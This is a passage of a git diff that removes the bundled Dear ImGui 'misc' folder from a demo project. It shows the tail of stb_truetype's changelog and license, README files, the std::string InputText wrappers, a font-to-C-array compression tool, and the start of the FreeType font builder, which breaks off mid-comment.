1.13 (2017-01-02) support OpenType fonts, certain Apple fonts -// 1.12 (2016-10-25) suppress warnings about casting away const with -Wcast-qual -// 1.11 (2016-04-02) fix unused-variable warning -// 1.10 (2016-04-02) allow user-defined fabs() replacement -// fix memory leak if fontsize=0.0 -// fix warning from duplicate typedef -// 1.09 (2016-01-16) warning fix; avoid crash on outofmem; use alloc userdata for PackFontRanges -// 1.08 (2015-09-13) document stbtt_Rasterize(); fixes for vertical & horizontal edges -// 1.07 (2015-08-01) allow PackFontRanges to accept arrays of sparse codepoints; -// allow PackFontRanges to pack and render in separate phases; -// fix stbtt_GetFontOFfsetForIndex (never worked for non-0 input?); -// fixed an assert() bug in the new rasterizer -// replace assert() with STBTT_assert() in new rasterizer -// 1.06 (2015-07-14) performance improvements (~35% faster on x86 and x64 on test machine) -// also more precise AA rasterizer, except if shapes overlap -// remove need for STBTT_sort -// 1.05 (2015-04-15) fix misplaced definitions for STBTT_STATIC -// 1.04 (2015-04-15) typo in example -// 1.03 (2015-04-12) STBTT_STATIC, fix memory leak in new packing, various fixes -// 1.02 (2014-12-10) fix various warnings & compile issues w/ stb_rect_pack, C++ -// 1.01 (2014-12-08) fix subpixel position when oversampling to exactly match -// non-oversampled; STBTT_POINT_SIZE for packed case only -// 1.00 (2014-12-06) add new PackBegin etc. API, w/ support for oversampling -// 0.99 (2014-09-18) fix multiple bugs with subpixel rendering (ryg) -// 0.9 (2014-08-07) support certain mac/iOS fonts without an MS platformID -// 0.8b (2014-07-07) fix a warning -// 0.8 (2014-05-25) fix a few more warnings -// 0.7 (2013-09-25) bugfix: subpixel glyph bug fixed in 0.5 had come back -// 0.6c (2012-07-24) improve documentation -// 0.6b (2012-07-20) fix a few more warnings -// 0.6 (2012-07-17) fix warnings; added stbtt_ScaleForMappingEmToPixels, -// stbtt_GetFontBoundingBox, stbtt_IsGlyphEmpty -// 0.5 (2011-12-09) bugfixes: -// subpixel glyph renderer computed wrong bounding box -// first vertex of shape can be off-curve (FreeSans) -// 0.4b (2011-12-03) fixed an error in the font baking example -// 0.4 (2011-12-01) kerning, subpixel rendering (tor) -// bugfixes for: -// codepoint-to-glyph conversion using table fmt=12 -// codepoint-to-glyph conversion using table fmt=4 -// stbtt_GetBakedQuad with non-square texture (Zer) -// updated Hello World! sample to use kerning and subpixel -// fixed some warnings -// 0.3 (2009-06-24) cmap fmt=12, compound shapes (MM) -// userdata, malloc-from-userdata, non-zero fill (stb) -// 0.2 (2009-03-11) Fix unsigned/signed char warnings -// 0.1 (2009-03-09) First public release -// - -/* ------------------------------------------------------------------------------- -This software is available under 2 licenses -- choose whichever you prefer. ------------------------------------------------------------------------------- -ALTERNATIVE A - MIT License -Copyright (c) 2017 Sean Barrett -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. ------------------------------------------------------------------------------- -ALTERNATIVE B - Public Domain (www.unlicense.org) -This is free and unencumbered software released into the public domain. -Anyone is free to copy, modify, publish, use, compile, sell, or distribute this -software, either in source code form or as a compiled binary, for any purpose, -commercial or non-commercial, and by any means. -In jurisdictions that recognize copyright laws, the author or authors of this -software dedicate any and all copyright interest in the software to the public -domain. We make this dedication for the benefit of the public at large and to -the detriment of our heirs and successors. We intend this dedication to be an -overt act of relinquishment in perpetuity of all present and future rights to -this software under copyright law. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN -ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ------------------------------------------------------------------------------- -*/ diff --git a/demos/DemoImGui/misc/README.txt b/demos/DemoImGui/misc/README.txt deleted file mode 100644 index 8690008..0000000 --- a/demos/DemoImGui/misc/README.txt +++ /dev/null @@ -1,24 +0,0 @@ - -misc/cpp/ - InputText() wrappers for C++ standard library (STL) type: std::string. - This is also an example of how you may wrap your own similar types. - -misc/fonts/ - Fonts loading/merging instructions (e.g. How to handle glyph ranges, how to merge icons fonts). - Command line tool "binary_to_compressed_c" to create compressed arrays to embed data in source code. - Suggested fonts and links. - -misc/freetype/ - Font atlas builder/rasterizer using FreeType instead of stb_truetype. - Benefit from better FreeType rasterization, in particular for small fonts. - -misc/natvis/ - Natvis file to describe dear imgui types in the Visual Studio debugger. - With this, types like ImVector<> will be displayed nicely in the debugger. - You can include this file a Visual Studio project file, or install it in Visual Studio folder. - -misc/single_file/ - Single-file header stub. - We use this to validate compiling all *.cpp files in a same compilation unit. - Users of that technique (also called "Unity builds") can generally provide this themselves, - so we don't really recommend you use this in your projects. diff --git a/demos/DemoImGui/misc/cpp/README.txt b/demos/DemoImGui/misc/cpp/README.txt deleted file mode 100644 index 8d5982e..0000000 --- a/demos/DemoImGui/misc/cpp/README.txt +++ /dev/null @@ -1,10 +0,0 @@ - -imgui_stdlib.h + imgui_stdlib.cpp - InputText() wrappers for C++ standard library (STL) type: std::string. - This is also an example of how you may wrap your own similar types. - -imgui_scoped.h - [Experimental, not currently in main repository] - Additional header file with some RAII-style wrappers for common Dear ImGui functions. - Try by merging: https://github.com/ocornut/imgui/pull/2197 - Discuss at: https://github.com/ocornut/imgui/issues/2096 diff --git a/demos/DemoImGui/misc/cpp/imgui_stdlib.cpp b/demos/DemoImGui/misc/cpp/imgui_stdlib.cpp deleted file mode 100644 index cb1fe17..0000000 --- a/demos/DemoImGui/misc/cpp/imgui_stdlib.cpp +++ /dev/null @@ -1,76 +0,0 @@ -// dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.) -// This is also an example of how you may wrap your own similar types. - -// Compatibility: -// - std::string support is only guaranteed to work from C++11. -// If you try to use it pre-C++11, please share your findings (w/ info about compiler/architecture) - -// Changelog: -// - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string - -#include "imgui.h" -#include "imgui_stdlib.h" - -struct InputTextCallback_UserData -{ - std::string* Str; - ImGuiInputTextCallback ChainCallback; - void* ChainCallbackUserData; -}; - -static int InputTextCallback(ImGuiInputTextCallbackData* data) -{ - InputTextCallback_UserData* user_data = (InputTextCallback_UserData*)data->UserData; - if (data->EventFlag == ImGuiInputTextFlags_CallbackResize) - { - // Resize string callback - // If for some reason we refuse the new length (BufTextLen) and/or capacity (BufSize) we need to set them back to what we want. - std::string* str = user_data->Str; - IM_ASSERT(data->Buf == str->c_str()); - str->resize(data->BufTextLen); - data->Buf = (char*)str->c_str(); - } - else if (user_data->ChainCallback) - { - // Forward to user callback, if any - data->UserData = user_data->ChainCallbackUserData; - return user_data->ChainCallback(data); - } - return 0; -} - -bool ImGui::InputText(const char* label, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); - flags |= ImGuiInputTextFlags_CallbackResize; - - InputTextCallback_UserData cb_user_data; - cb_user_data.Str = str; - cb_user_data.ChainCallback = callback; - cb_user_data.ChainCallbackUserData = user_data; - return InputText(label, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data); -} - -bool ImGui::InputTextMultiline(const char* label, std::string* str, const ImVec2& size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); - flags |= ImGuiInputTextFlags_CallbackResize; - - InputTextCallback_UserData cb_user_data; - cb_user_data.Str = str; - cb_user_data.ChainCallback = callback; - cb_user_data.ChainCallbackUserData = user_data; - return InputTextMultiline(label, (char*)str->c_str(), str->capacity() + 1, size, flags, InputTextCallback, &cb_user_data); -} - -bool ImGui::InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); - flags |= ImGuiInputTextFlags_CallbackResize; - - InputTextCallback_UserData cb_user_data; - cb_user_data.Str = str; - cb_user_data.ChainCallback = callback; - cb_user_data.ChainCallbackUserData = user_data; - return InputTextWithHint(label, hint, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data); -} diff --git a/demos/DemoImGui/misc/cpp/imgui_stdlib.h b/demos/DemoImGui/misc/cpp/imgui_stdlib.h deleted file mode 100644 index f860b0c..0000000 --- a/demos/DemoImGui/misc/cpp/imgui_stdlib.h +++ /dev/null @@ -1,22 +0,0 @@ -// dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.) -// This is also an example of how you may wrap your own similar types. - -// Compatibility: -// - std::string support is only guaranteed to work from C++11. -// If you try to use it pre-C++11, please share your findings (w/ info about compiler/architecture) - -// Changelog: -// - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string - -#pragma once - -#include - -namespace ImGui -{ - // ImGui::InputText() with std::string - // Because text input needs dynamic resizing, we need to setup a callback to grow the capacity - IMGUI_API bool InputText(const char* label, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); - IMGUI_API bool InputTextMultiline(const char* label, std::string* str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); - IMGUI_API bool InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); -} diff --git a/demos/DemoImGui/misc/fonts/Cousine-Regular.ttf b/demos/DemoImGui/misc/fonts/Cousine-Regular.ttf deleted file mode 100644 index 70a0bf9..0000000 Binary files a/demos/DemoImGui/misc/fonts/Cousine-Regular.ttf and /dev/null differ diff --git a/demos/DemoImGui/misc/fonts/DroidSans.ttf b/demos/DemoImGui/misc/fonts/DroidSans.ttf deleted file mode 100644 index 767c63a..0000000 Binary files a/demos/DemoImGui/misc/fonts/DroidSans.ttf and /dev/null differ diff --git a/demos/DemoImGui/misc/fonts/Karla-Regular.ttf b/demos/DemoImGui/misc/fonts/Karla-Regular.ttf deleted file mode 100644 index 81b3de6..0000000 Binary files a/demos/DemoImGui/misc/fonts/Karla-Regular.ttf and /dev/null differ diff --git a/demos/DemoImGui/misc/fonts/ProggyClean.ttf b/demos/DemoImGui/misc/fonts/ProggyClean.ttf deleted file mode 100644 index 0270cdf..0000000 Binary files a/demos/DemoImGui/misc/fonts/ProggyClean.ttf and /dev/null differ diff --git a/demos/DemoImGui/misc/fonts/ProggyTiny.ttf b/demos/DemoImGui/misc/fonts/ProggyTiny.ttf deleted file mode 100644 index 1c4312c..0000000 Binary files a/demos/DemoImGui/misc/fonts/ProggyTiny.ttf and /dev/null differ diff --git a/demos/DemoImGui/misc/fonts/Roboto-Medium.ttf b/demos/DemoImGui/misc/fonts/Roboto-Medium.ttf deleted file mode 100644 index 39c63d7..0000000 Binary files a/demos/DemoImGui/misc/fonts/Roboto-Medium.ttf and /dev/null differ diff --git a/demos/DemoImGui/misc/fonts/binary_to_compressed_c.cpp b/demos/DemoImGui/misc/fonts/binary_to_compressed_c.cpp deleted file mode 100644 index 441c8f6..0000000 --- a/demos/DemoImGui/misc/fonts/binary_to_compressed_c.cpp +++ /dev/null @@ -1,385 +0,0 @@ -// dear imgui -// (binary_to_compressed_c.cpp) -// Helper tool to turn a file into a C array, if you want to embed font data in your source code. - -// The data is first compressed with stb_compress() to reduce source code size, -// then encoded in Base85 to fit in a string so we can fit roughly 4 bytes of compressed data into 5 bytes of source code (suggested by @mmalex) -// (If we used 32-bit constants it would require take 11 bytes of source code to encode 4 bytes, and be endianness dependent) -// Note that even with compression, the output array is likely to be bigger than the binary file.. -// Load compressed TTF fonts with ImGui::GetIO().Fonts->AddFontFromMemoryCompressedTTF() - -// Build with, e.g: -// # cl.exe binary_to_compressed_c.cpp -// # g++ binary_to_compressed_c.cpp -// # clang++ binary_to_compressed_c.cpp -// You can also find a precompiled Windows binary in the binary/demo package available from https://github.com/ocornut/imgui - -// Usage: -// binary_to_compressed_c.exe [-base85] [-nocompress] -// Usage example: -// # binary_to_compressed_c.exe myfont.ttf MyFont > myfont.cpp -// # binary_to_compressed_c.exe -base85 myfont.ttf MyFont > myfont.cpp - -#define _CRT_SECURE_NO_WARNINGS -#include -#include -#include -#include - -// stb_compress* from stb.h - declaration -typedef unsigned int stb_uint; -typedef unsigned char stb_uchar; -stb_uint stb_compress(stb_uchar* out, stb_uchar* in, stb_uint len); - -static bool binary_to_compressed_c(const char* filename, const char* symbol, bool use_base85_encoding, bool use_compression); - -int main(int argc, char** argv) -{ - if (argc < 3) - { - printf("Syntax: %s [-base85] [-nocompress] \n", argv[0]); - return 0; - } - - int argn = 1; - bool use_base85_encoding = false; - bool use_compression = true; - if (argv[argn][0] == '-') - { - if (strcmp(argv[argn], "-base85") == 0) { use_base85_encoding = true; argn++; } - else if (strcmp(argv[argn], "-nocompress") == 0) { use_compression = false; argn++; } - else - { - fprintf(stderr, "Unknown argument: '%s'\n", argv[argn]); - return 1; - } - } - - bool ret = binary_to_compressed_c(argv[argn], argv[argn + 1], use_base85_encoding, use_compression); - if (!ret) - fprintf(stderr, "Error opening or reading file: '%s'\n", argv[argn]); - return ret ? 0 : 1; -} - -char Encode85Byte(unsigned int x) -{ - x = (x % 85) + 35; - return (x >= '\\') ? x + 1 : x; -} - -bool binary_to_compressed_c(const char* filename, const char* symbol, bool use_base85_encoding, bool use_compression) -{ - // Read file - FILE* f = fopen(filename, "rb"); - if (!f) return false; - int data_sz; - if (fseek(f, 0, SEEK_END) || (data_sz = (int)ftell(f)) == -1 || fseek(f, 0, SEEK_SET)) { fclose(f); return false; } - char* data = new char[data_sz + 4]; - if (fread(data, 1, data_sz, f) != (size_t)data_sz) { fclose(f); delete[] data; return false; } - memset((void*)(((char*)data) + data_sz), 0, 4); - fclose(f); - - // Compress - int maxlen = data_sz + 512 + (data_sz >> 2) + sizeof(int); // total guess - char* compressed = use_compression ? new char[maxlen] : data; - int compressed_sz = use_compression ? stb_compress((stb_uchar*)compressed, (stb_uchar*)data, data_sz) : data_sz; - if (use_compression) - memset(compressed + compressed_sz, 0, maxlen - compressed_sz); - - // Output as Base85 encoded - FILE* out = stdout; - fprintf(out, "// File: '%s' (%d bytes)\n", filename, (int)data_sz); - fprintf(out, "// Exported using binary_to_compressed_c.cpp\n"); - const char* compressed_str = use_compression ? "compressed_" : ""; - if (use_base85_encoding) - { - fprintf(out, "static const char %s_%sdata_base85[%d+1] =\n \"", symbol, compressed_str, (int)((compressed_sz + 3) / 4)*5); - char prev_c = 0; - for (int src_i = 0; src_i < compressed_sz; src_i += 4) - { - // This is made a little more complicated by the fact that ??X sequences are interpreted as trigraphs by old C/C++ compilers. So we need to escape pairs of ??. - unsigned int d = *(unsigned int*)(compressed + src_i); - for (unsigned int n5 = 0; n5 < 5; n5++, d /= 85) - { - char c = Encode85Byte(d); - fprintf(out, (c == '?' && prev_c == '?') ? "\\%c" : "%c", c); - prev_c = c; - } - if ((src_i % 112) == 112 - 4) - fprintf(out, "\"\n \""); - } - fprintf(out, "\";\n\n"); - } - else - { - fprintf(out, "static const unsigned int %s_%ssize = %d;\n", symbol, compressed_str, (int)compressed_sz); - fprintf(out, "static const unsigned int %s_%sdata[%d/4] =\n{", symbol, compressed_str, (int)((compressed_sz + 3) / 4)*4); - int column = 0; - for (int i = 0; i < compressed_sz; i += 4) - { - unsigned int d = *(unsigned int*)(compressed + i); - if ((column++ % 12) == 0) - fprintf(out, "\n 0x%08x, ", d); - else - fprintf(out, "0x%08x, ", d); - } - fprintf(out, "\n};\n\n"); - } - - // Cleanup - delete[] data; - if (use_compression) - delete[] compressed; - return true; -} - -// stb_compress* from stb.h - definition - -//////////////////// compressor /////////////////////// - -static stb_uint stb_adler32(stb_uint adler32, stb_uchar *buffer, stb_uint buflen) -{ - const unsigned long ADLER_MOD = 65521; - unsigned long s1 = adler32 & 0xffff, s2 = adler32 >> 16; - unsigned long blocklen, i; - - blocklen = buflen % 5552; - while (buflen) { - for (i=0; i + 7 < blocklen; i += 8) { - s1 += buffer[0], s2 += s1; - s1 += buffer[1], s2 += s1; - s1 += buffer[2], s2 += s1; - s1 += buffer[3], s2 += s1; - s1 += buffer[4], s2 += s1; - s1 += buffer[5], s2 += s1; - s1 += buffer[6], s2 += s1; - s1 += buffer[7], s2 += s1; - - buffer += 8; - } - - for (; i < blocklen; ++i) - s1 += *buffer++, s2 += s1; - - s1 %= ADLER_MOD, s2 %= ADLER_MOD; - buflen -= blocklen; - blocklen = 5552; - } - return (s2 << 16) + s1; -} - -static unsigned int stb_matchlen(stb_uchar *m1, stb_uchar *m2, stb_uint maxlen) -{ - stb_uint i; - for (i=0; i < maxlen; ++i) - if (m1[i] != m2[i]) return i; - return i; -} - -// simple implementation that just takes the source data in a big block - -static stb_uchar *stb__out; -static FILE *stb__outfile; -static stb_uint stb__outbytes; - -static void stb__write(unsigned char v) -{ - fputc(v, stb__outfile); - ++stb__outbytes; -} - -//#define stb_out(v) (stb__out ? *stb__out++ = (stb_uchar) (v) : stb__write((stb_uchar) (v))) -#define stb_out(v) do { if (stb__out) *stb__out++ = (stb_uchar) (v); else stb__write((stb_uchar) (v)); } while (0) - -static void stb_out2(stb_uint v) { stb_out(v >> 8); stb_out(v); } -static void stb_out3(stb_uint v) { stb_out(v >> 16); stb_out(v >> 8); stb_out(v); } -static void stb_out4(stb_uint v) { stb_out(v >> 24); stb_out(v >> 16); stb_out(v >> 8 ); stb_out(v); } - -static void outliterals(stb_uchar *in, int numlit) -{ - while (numlit > 65536) { - outliterals(in,65536); - in += 65536; - numlit -= 65536; - } - - if (numlit == 0) ; - else if (numlit <= 32) stb_out (0x000020 + numlit-1); - else if (numlit <= 2048) stb_out2(0x000800 + numlit-1); - else /* numlit <= 65536) */ stb_out3(0x070000 + numlit-1); - - if (stb__out) { - memcpy(stb__out,in,numlit); - stb__out += numlit; - } else - fwrite(in, 1, numlit, stb__outfile); -} - -static int stb__window = 0x40000; // 256K - -static int stb_not_crap(int best, int dist) -{ - return ((best > 2 && dist <= 0x00100) - || (best > 5 && dist <= 0x04000) - || (best > 7 && dist <= 0x80000)); -} - -static stb_uint stb__hashsize = 32768; - -// note that you can play with the hashing functions all you -// want without needing to change the decompressor -#define stb__hc(q,h,c) (((h) << 7) + ((h) >> 25) + q[c]) -#define stb__hc2(q,h,c,d) (((h) << 14) + ((h) >> 18) + (q[c] << 7) + q[d]) -#define stb__hc3(q,c,d,e) ((q[c] << 14) + (q[d] << 7) + q[e]) - -static unsigned int stb__running_adler; - -static int stb_compress_chunk(stb_uchar *history, - stb_uchar *start, - stb_uchar *end, - int length, - int *pending_literals, - stb_uchar **chash, - stb_uint mask) -{ - (void)history; - int window = stb__window; - stb_uint match_max; - stb_uchar *lit_start = start - *pending_literals; - stb_uchar *q = start; - -#define STB__SCRAMBLE(h) (((h) + ((h) >> 16)) & mask) - - // stop short of the end so we don't scan off the end doing - // the hashing; this means we won't compress the last few bytes - // unless they were part of something longer - while (q < start+length && q+12 < end) { - int m; - stb_uint h1,h2,h3,h4, h; - stb_uchar *t; - int best = 2, dist=0; - - if (q+65536 > end) - match_max = end-q; - else - match_max = 65536; - -#define stb__nc(b,d) ((d) <= window && ((b) > 9 || stb_not_crap(b,d))) - -#define STB__TRY(t,p) /* avoid retrying a match we already tried */ \ - if (p ? dist != q-t : 1) \ - if ((m = stb_matchlen(t, q, match_max)) > best) \ - if (stb__nc(m,q-(t))) \ - best = m, dist = q - (t) - - // rather than search for all matches, only try 4 candidate locations, - // chosen based on 4 different hash functions of different lengths. - // this strategy is inspired by LZO; hashing is unrolled here using the - // 'hc' macro - h = stb__hc3(q,0, 1, 2); h1 = STB__SCRAMBLE(h); - t = chash[h1]; if (t) STB__TRY(t,0); - h = stb__hc2(q,h, 3, 4); h2 = STB__SCRAMBLE(h); - h = stb__hc2(q,h, 5, 6); t = chash[h2]; if (t) STB__TRY(t,1); - h = stb__hc2(q,h, 7, 8); h3 = STB__SCRAMBLE(h); - h = stb__hc2(q,h, 9,10); t = chash[h3]; if (t) STB__TRY(t,1); - h = stb__hc2(q,h,11,12); h4 = STB__SCRAMBLE(h); - t = chash[h4]; if (t) STB__TRY(t,1); - - // because we use a shared hash table, can only update it - // _after_ we've probed all of them - chash[h1] = chash[h2] = chash[h3] = chash[h4] = q; - - if (best > 2) - assert(dist > 0); - - // see if our best match qualifies - if (best < 3) { // fast path literals - ++q; - } else if (best > 2 && best <= 0x80 && dist <= 0x100) { - outliterals(lit_start, q-lit_start); lit_start = (q += best); - stb_out(0x80 + best-1); - stb_out(dist-1); - } else if (best > 5 && best <= 0x100 && dist <= 0x4000) { - outliterals(lit_start, q-lit_start); lit_start = (q += best); - stb_out2(0x4000 + dist-1); - stb_out(best-1); - } else if (best > 7 && best <= 0x100 && dist <= 0x80000) { - outliterals(lit_start, q-lit_start); lit_start = (q += best); - stb_out3(0x180000 + dist-1); - stb_out(best-1); - } else if (best > 8 && best <= 0x10000 && dist <= 0x80000) { - outliterals(lit_start, q-lit_start); lit_start = (q += best); - stb_out3(0x100000 + dist-1); - stb_out2(best-1); - } else if (best > 9 && dist <= 0x1000000) { - if (best > 65536) best = 65536; - outliterals(lit_start, q-lit_start); lit_start = (q += best); - if (best <= 0x100) { - stb_out(0x06); - stb_out3(dist-1); - stb_out(best-1); - } else { - stb_out(0x04); - stb_out3(dist-1); - stb_out2(best-1); - } - } else { // fallback literals if no match was a balanced tradeoff - ++q; - } - } - - // if we didn't get all the way, add the rest to literals - if (q-start < length) - q = start+length; - - // the literals are everything from lit_start to q - *pending_literals = (q - lit_start); - - stb__running_adler = stb_adler32(stb__running_adler, start, q - start); - return q - start; -} - -static int stb_compress_inner(stb_uchar *input, stb_uint length) -{ - int literals = 0; - stb_uint len,i; - - stb_uchar **chash; - chash = (stb_uchar**) malloc(stb__hashsize * sizeof(stb_uchar*)); - if (chash == NULL) return 0; // failure - for (i=0; i < stb__hashsize; ++i) - chash[i] = NULL; - - // stream signature - stb_out(0x57); stb_out(0xbc); - stb_out2(0); - - stb_out4(0); // 64-bit length requires 32-bit leading 0 - stb_out4(length); - stb_out4(stb__window); - - stb__running_adler = 1; - - len = stb_compress_chunk(input, input, input+length, length, &literals, chash, stb__hashsize-1); - assert(len == length); - - outliterals(input+length - literals, literals); - - free(chash); - - stb_out2(0x05fa); // end opcode - - stb_out4(stb__running_adler); - - return 1; // success -} - -stb_uint stb_compress(stb_uchar *out, stb_uchar *input, stb_uint length) -{ - stb__out = out; - stb__outfile = NULL; - - stb_compress_inner(input, length); - - return stb__out - out; -} diff --git a/demos/DemoImGui/misc/freetype/README.md b/demos/DemoImGui/misc/freetype/README.md deleted file mode 100644 index a3db353..0000000 --- a/demos/DemoImGui/misc/freetype/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# imgui_freetype - -Build font atlases using FreeType instead of stb_truetype (which is the default font rasterizer). -
by @vuhdo, @mikesart, @ocornut. - -### Usage - -1. Get latest FreeType binaries or build yourself (under Windows you may use vcpkg with `vcpkg install freetype`, `vcpkg integrate install`). -2. Add imgui_freetype.h/cpp alongside your project files. -3. Add `#define IMGUI_ENABLE_FREETYPE` in your [imconfig.h](https://github.com/ocornut/imgui/blob/master/imconfig.h) file - -### About Gamma Correct Blending - -FreeType assumes blending in linear space rather than gamma space. -See FreeType note for [FT_Render_Glyph](https://www.freetype.org/freetype2/docs/reference/ft2-base_interface.html#FT_Render_Glyph). -For correct results you need to be using sRGB and convert to linear space in the pixel shader output. -The default Dear ImGui styles will be impacted by this change (alpha values will need tweaking). - -### Testbed for toying with settings (for developers) - -See https://gist.github.com/ocornut/b3a9ecf13502fd818799a452969649ad - -### Known issues - -- Oversampling settins are ignored but also not so much necessary with the higher quality rendering. - -### Comparaison - -Small, thin anti-aliased fonts are typically benefiting a lots from Freetype's hinting: -![comparing_font_rasterizers](https://user-images.githubusercontent.com/8225057/107550178-fef87f00-6bd0-11eb-8d09-e2edb2f0ccfc.gif) diff --git a/demos/DemoImGui/misc/freetype/imgui_freetype.cpp b/demos/DemoImGui/misc/freetype/imgui_freetype.cpp deleted file mode 100644 index c412077..0000000 --- a/demos/DemoImGui/misc/freetype/imgui_freetype.cpp +++ /dev/null @@ -1,769 +0,0 @@ -// dear imgui: FreeType font builder (used as a replacement for the stb_truetype builder) -// (code) - -// Get latest version at https://github.com/ocornut/imgui/tree/master/misc/freetype -// Original code by @vuhdo (Aleksei Skriabin). Improvements by @mikesart. Maintained since 2019 by @ocornut. - -// CHANGELOG -// (minor and older changes stripped away, please see git history for details) -// 2021/03/05: added ImGuiFreeTypeBuilderFlags_Bitmap to load bitmap glyphs. -// 2021/03/02: set 'atlas->TexPixelsUseColors = true' to help some backends with deciding of a prefered texture format. -// 2021/01/28: added support for color-layered glyphs via ImGuiFreeTypeBuilderFlags_LoadColor (require Freetype 2.10+). -// 2021/01/26: simplified integration by using '#define IMGUI_ENABLE_FREETYPE'. -// renamed ImGuiFreeType::XXX flags to ImGuiFreeTypeBuilderFlags_XXX for consistency with other API. removed ImGuiFreeType::BuildFontAtlas(). -// 2020/06/04: fix for rare case where FT_Get_Char_Index() succeed but FT_Load_Glyph() fails. -// 2019/02/09: added RasterizerFlags::Monochrome flag to disable font anti-aliasing (combine with ::MonoHinting for best results!) -// 2019/01/15: added support for imgui allocators + added FreeType only override function SetAllocatorFunctions(). -// 2019/01/10: re-factored to match big update in STB builder. fixed texture height waste. fixed redundant glyphs when merging. support for glyph padding. -// 2018/06/08: added support for ImFontConfig::GlyphMinAdvanceX, GlyphMaxAdvanceX. -// 2018/02/04: moved to main imgui repository (away from http://www.github.com/ocornut/imgui_club) -// 2018/01/22: fix for addition of ImFontAtlas::TexUvscale member. -// 2017/10/22: minor inconsequential change to match change in master (removed an unnecessary statement). -// 2017/09/26: fixes for imgui internal changes. -// 2017/08/26: cleanup, optimizations, support for ImFontConfig::RasterizerFlags, ImFontConfig::RasterizerMultiply. -// 2017/08/16: imported from https://github.com/Vuhdo/imgui_freetype into http://www.github.com/ocornut/imgui_club, updated for latest changes in ImFontAtlas, minor tweaks. - -// About Gamma Correct Blending: -// - FreeType assumes blending in linear space rather than gamma space. -// - See https://www.freetype.org/freetype2/docs/reference/ft2-base_interface.html#FT_Render_Glyph -// - For correct results you need to be using sRGB and convert to linear space in the pixel shader output. -// - The default dear imgui styles will be impacted by this change (alpha values will need tweaking). - -// FIXME: cfg.OversampleH, OversampleV are not supported (but perhaps not so necessary with this rasterizer). - -#include "imgui_freetype.h" -#include "imgui_internal.h" // ImMin,ImMax,ImFontAtlasBuild*, -#include -#include -#include FT_FREETYPE_H // -#include FT_MODULE_H // -#include FT_GLYPH_H // -#include FT_SYNTHESIS_H // - -#ifdef _MSC_VER -#pragma warning (disable: 4505) // unreferenced local function has been removed (stb stuff) -#endif - -#if defined(__GNUC__) -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wunused-function" // warning: 'xxxx' defined but not used -#endif - -//------------------------------------------------------------------------- -// Data -//------------------------------------------------------------------------- - -// Default memory allocators -static void* ImGuiFreeTypeDefaultAllocFunc(size_t size, void* user_data) { IM_UNUSED(user_data); return IM_ALLOC(size); } -static void ImGuiFreeTypeDefaultFreeFunc(void* ptr, void* user_data) { IM_UNUSED(user_data); IM_FREE(ptr); } - -// Current memory allocators -static void* (*GImGuiFreeTypeAllocFunc)(size_t size, void* user_data) = ImGuiFreeTypeDefaultAllocFunc; -static void (*GImGuiFreeTypeFreeFunc)(void* ptr, void* user_data) = ImGuiFreeTypeDefaultFreeFunc; -static void* GImGuiFreeTypeAllocatorUserData = NULL; - -//------------------------------------------------------------------------- -// Code -//------------------------------------------------------------------------- - -namespace -{ - // Glyph metrics: - // -------------- - // - // xmin xmax - // | | - // |<-------- width -------->| - // | | - // | +-------------------------+----------------- ymax - // | | ggggggggg ggggg | ^ ^ - // | | g:::::::::ggg::::g | | | - // | | g:::::::::::::::::g | | | - // | | g::::::ggggg::::::gg | | | - // | | g:::::g g:::::g | | | - // offsetX -|-------->| g:::::g g:::::g | offsetY | - // | | g:::::g g:::::g | | | - // | | g::::::g g:::::g | | | - // | | g:::::::ggggg:::::g | | | - // | | g::::::::::::::::g | | height - // | | gg::::::::::::::g | | | - // baseline ---*---------|---- gggggggg::::::g-----*-------- | - // / | | g:::::g | | - // origin | | gggggg g:::::g | | - // | | g:::::gg gg:::::g | | - // | | g::::::ggg:::::::g | | - // | | 